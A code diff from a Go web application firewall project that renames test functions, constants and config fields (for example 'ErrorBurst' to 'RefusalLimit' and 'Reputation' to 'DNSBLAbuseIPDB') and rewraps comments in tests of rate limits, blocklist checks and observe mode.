 func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
 	return remotelog.New(remotelog.Params{
-		URL:      cfg.LogRemoteURL,
-		RootCAs:  cfg.LogRemoteTLSCAs,
-		Buffer:   cfg.LogRemoteBufferLines,
-		Facility: cfg.LogRemoteFacility,
-		AppName:  cfg.LogRemoteAppName,
+		URL:         cfg.LogRemoteURL,
+		RootCAs:     cfg.LogRemoteTLSCAs,
+		BufferLines: cfg.LogRemoteBufferLines,
+		Facility:    cfg.LogRemoteFacility,
+		AppName:     cfg.LogRemoteAppName,
 	})
 }
 

internal/sww/sww_internal_test.go

@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
 			Scheme: remotelog.SchemeTCP,
 			Host:   "127.0.0.1:65536",
 		},
-		Buffer: 1,
+		BufferLines: 1,
 	})
 
 	stopSending := startSending(t.Context(), sender,

internal/sww/sww_test.go

@@ -602,7 +602,7 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
 	)
 }
 
-func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
+func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
 	t.Parallel()
 
 	dir := filepath.Join(t.TempDir(), "rules.d")

internal/waf/answertime_test.go

@@ -34,8 +34,8 @@ const (
 	answerTimeLimit = 2 * time.Second
 	// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
 	defaultLookupWait = 800 * time.Millisecond
-	// defaultReputationWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
-	defaultReputationWait = 2 * time.Second
+	// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
+	defaultDNSBLAbuseIPDBWait = 2 * time.Second
 	// The header limits SPEC.md gives.
 	cookieLimit      = 50
 	headerFieldLimit = 100
@@ -656,8 +656,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-			// says, so that a request that does not wait takes no time at all.
+			// In a synctest bubble, as
+			// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
+			// so that a request that does not wait takes no time at all.
 			synctest.Test(t, func(t *testing.T) {
 				server, out := newWAFInBubble(t, tc.env)
 				tc.prepare(t, server, time.Now())
@@ -780,7 +781,8 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 	// network inside it would keep its clock from moving on.
 	go server.Lists.Run(t.Context())
 
-	// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
+	// In the bubble, as
+	// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
 	// answer takes exactly as long as waf waits, however busy the host is.
 	// GeoJS and AbuseIPDB never answer there, without the network. The query to
 	// the DNS blocklist waits on the network, which stops the bubble's clock,
@@ -842,7 +844,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
 		// The query is answered, and the check with AbuseIPDB abandoned,
 		// before the bubble ends.
 		releaseResolver()
-		time.Sleep(defaultReputationWait)
+		time.Sleep(defaultDNSBLAbuseIPDBWait)
 	})
 }
 

internal/waf/biased.go

@@ -20,8 +20,8 @@ type percentage struct {
 // client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
 // SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
 // SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
-// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
-// then needed before its request goes on.
+// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
+// before its request goes on.
 func biasedThresholdsSet(cfg *config.WAF) bool {
 	return len(cfg.ASNBytesLimitPercent) > 0 ||
 		len(cfg.CountryBytesLimitPercent) > 0 ||
@@ -70,10 +70,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 		}
 	}
 
-	reputationListed := percentage{percent: whole}
+	dnsblAbuseIPDBListed := percentage{percent: whole}
 	if (rq.dnsblListed || rq.abuseIPDBHit) &&
 		cfg.DNSBLAbuseIPDBAction == "limit" {
-		reputationListed = percentage{
+		dnsblAbuseIPDBListed = percentage{
 			cfg.DNSBLAbuseIPDBLimitPercent,
 			"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
 		}
@@ -120,7 +120,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 	}
 
 	// The limits that lower requests and bytes alike.
-	common := lowest(otherTags, unknown, blocklisted, reputationListed)
+	common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
 
 	return lowest(asnRequests, countryRequests, common),
 		lowest(asnBytes, countryBytes, common)

internal/waf/biased_test.go

@@ -150,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
 	}
 }
 
-func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
+func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -303,7 +303,7 @@ func TestLowestPercentageApplies(t *testing.T) {
 	}
 }
 
-func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
+func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -330,11 +330,14 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
 	}
 }
 
-func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
+func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-	// says, with a GeoJS that never answers.
+	// In a synctest bubble, as
+	// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
+	// a GeoJS that never answers.
 	synctest.Test(t, func(t *testing.T) {
 		server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
 			map[string]string{unknownCountryLimitPercent: "0"})
@@ -382,8 +385,9 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
 		t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
 			t.Parallel()
 
-			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
-			// says, with a GeoJS that never answers.
+			// In a synctest bubble, as
+			// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
+			// with a GeoJS that never answers.
 			synctest.Test(t, func(t *testing.T) {
 				server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
 					map[string]string{

internal/waf/bytelimits_test.go

@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
 	}
 }
 
-func TestBytesCountSaysWhichBytesCount(t *testing.T) {
+func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {

internal/waf/coreruleset_test.go

@@ -276,7 +276,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
 	wantCoreRuleSet(t, line, nil)
 }
 
-func TestAnomalyThreshold(t *testing.T) {
+func TestCoreRuleSetScoreThreshold(t *testing.T) {
 	t.Parallel()
 
 	// A score under the threshold, or with the threshold off, is logged,
@@ -526,7 +526,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
 	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
 }
 
-func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -582,7 +582,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
 	)
 }
 
-func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
 	t *testing.T,
 ) {
 	t.Parallel()

internal/waf/lookup_test.go

@@ -438,7 +438,9 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
 	}
 }
 
-func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
+func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	// The test runs in a synctest bubble, where the time package runs on a

internal/waf/refusallimit.go

@@ -16,7 +16,7 @@ import (
 // in observe mode if enforce mode would have: more than
 // SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
 // a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
-// heuristics skip, is not counted, and nothing is while the threshold is off.
+// heuristics skip, is not counted, and nothing is while the limit is off.
 // Its figures are the window, the count and the limit.
 type refusalLimit struct{}
 

internal/waf/refusallimit_test.go

@@ -48,15 +48,15 @@ func (r refused) send(s *sender, from string) logLine {
 	return logLine{}
 }
 
-// startForErrorBurst is startWithClock with testRules, the metrics token and
-// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at threshold, and the settings in env.
-func startForErrorBurst(
-	t *testing.T, threshold string, env map[string]string,
+// startForRefusalLimit is startWithClock with testRules, the metrics token and
+// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
+func startForRefusalLimit(
+	t *testing.T, limit string, env map[string]string,
 ) (*sender, *clock, *waf.Server) {
 	t.Helper()
 
 	settings := map[string]string{
-		refusalsLimitPerMinute: threshold,
+		refusalsLimitPerMinute: limit,
 		ruleFilesDir:           writeRules(t, testRules),
 		metricsToken:           token,
 	}
@@ -65,12 +65,12 @@ func startForErrorBurst(
 	return startWithClock(t, "", settings)
 }
 
-func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
+func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
 		name string
-		// refusals are four, one over the threshold of three.
+		// refusals are four, one over the limit of three.
 		refusals []refused
 		// nextAction is the action of the client's next request: the next
 		// request after a ban for a ban rule makes it permanent.
@@ -90,7 +90,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
-			s, _, _ := startForErrorBurst(t, "3", nil)
+			s, _, _ := startForRefusalLimit(t, "3", nil)
 
 			// Three refusals break nothing, and the app's answers between
 			// them are not counted.
@@ -109,8 +109,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
 				s.get(client, http.StatusOK, requestlog.ActionForward)
 			}
 
-			// The fourth is answered as the others were, breaks the error
-			// burst, and bans the client.
+			// The fourth is answered as the others were, breaks the refusal
+			// limit, and bans the client.
 			line := tc.refusals[3].send(s, client)
 			if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
 				line.Offence != requestlog.OffenceLimit {
@@ -130,7 +130,7 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
 func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
 	t.Parallel()
 
-	s, _, _ := startForErrorBurst(t, "1", nil)
+	s, _, _ := startForRefusalLimit(t, "1", nil)
 
 	const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
 
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
 		`{"window": "minute", "count": 2, "limit": 1}`)
 }
 
-func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
+func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server := startForErrorBurst(t, "2", nil)
+	s, clk, server := startForRefusalLimit(t, "2", nil)
 	start := clk.Now()
 
 	blockRule.send(s, client)
@@ -221,7 +221,7 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
 	)
 }
 
-func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
+func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 	t.Parallel()
 
 	geojsURL, _ := startGeoJS(t)
@@ -232,7 +232,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 		tagLimitPercent:            countryTagDEHalf,
 	})
 
-	// Half of the threshold would be one, which the second refusal is over.
+	// Half of the limit would be one, which the second refusal is over.
 	for range 2 {
 		line := blockRule.send(s, fromDE)
 		if line.LimitHit != "" {
@@ -252,7 +252,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
 	}
 }
 
-func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
+func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
 	t.Parallel()
 
 	statuses := map[string]int{
@@ -277,7 +277,7 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 		}
 	}
 
-	// The first refusal is one, not over the threshold.
+	// The first refusal is one, not over the limit.
 	line := blockRule.send(s, client)
 	if line.LimitHit != "" {
 		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -293,23 +293,23 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 	wantAlerts(t, queue)
 }
 
-func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
+func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
-		threshold string
+		limit string
 		// broken is whether the 31st refusal breaks the refusal limit.
 		broken bool
 	}{
 		{"", true},
 		{off, false},
 	} {
-		t.Run(refusalsLimitPerMinute+"="+tc.threshold, func(t *testing.T) {
+		t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
 			t.Parallel()
 
 			env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
-			if tc.threshold != "" {
-				env[refusalsLimitPerMinute] = tc.threshold
+			if tc.limit != "" {
+				env[refusalsLimitPerMinute] = tc.limit
 			}
 
 			s, _, _ := startWithClock(t, "", env)
@@ -331,7 +331,7 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
 	}
 }
 
-func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
+func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
 	t.Parallel()
 
 	const (
@@ -339,7 +339,7 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
 		exempt  = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
 	)
 
-	s, _, _ := startForErrorBurst(t, "1", map[string]string{
+	s, _, _ := startForRefusalLimit(t, "1", map[string]string{
 		allowNets: allowed, rateLimitExemptNets: exempt,
 	})
 
@@ -367,10 +367,10 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
 	s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
 }
 
-func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
+func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
 	t.Parallel()
 
-	s, clk, _ := startForErrorBurst(
+	s, clk, _ := startForRefusalLimit(
 		t,
 		"1",
 		map[string]string{limitBanDuration: "1s"},
@@ -389,7 +389,7 @@ func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
 	}
 }
 
-func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
+func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
 	t.Parallel()
 
 	s, clk, server, queue := startWithAlerts(t, map[string]string{

internal/waf/reputation_test.go

@@ -432,7 +432,7 @@ const (
 	noResolver = "127.0.0.1:9"
 )
 
-func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
+func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
 	t.Parallel()
 
 	forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
@@ -617,7 +617,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
 	}
 }
 
-func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
+func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -989,7 +989,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
 	}
 }
 
-func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
+func TestEachDNSBLAbuseIPDBActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
 	t *testing.T,
 ) {
 	t.Parallel()

internal/waf/waf_test.go

@@ -811,7 +811,7 @@ func TestObserveModeAllowsAndLogsWhatEnforceModeWouldHaveDone(t *testing.T) {
 	wantWouldAction(t, line, requestlog.ActionClientDenied)
 }
 
-func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(
+func TestObserveModeRefusalAnsweredAllowCountsForTheRefusalLimit(
 	t *testing.T,
 ) {
 	t.Parallel()
@@ -837,7 +837,7 @@ func TestObserveModeRefusalAnsweredAllowCountsForTheErrorBurst(
 	}
 }
 
-func TestDeniedQuestionCountsForTheErrorBurst(t *testing.T) {
+func TestDeniedQuestionCountsForTheRefusalLimit(t *testing.T) {
 	t.Parallel()
 
 	s := startWAF(t, "", map[string]string{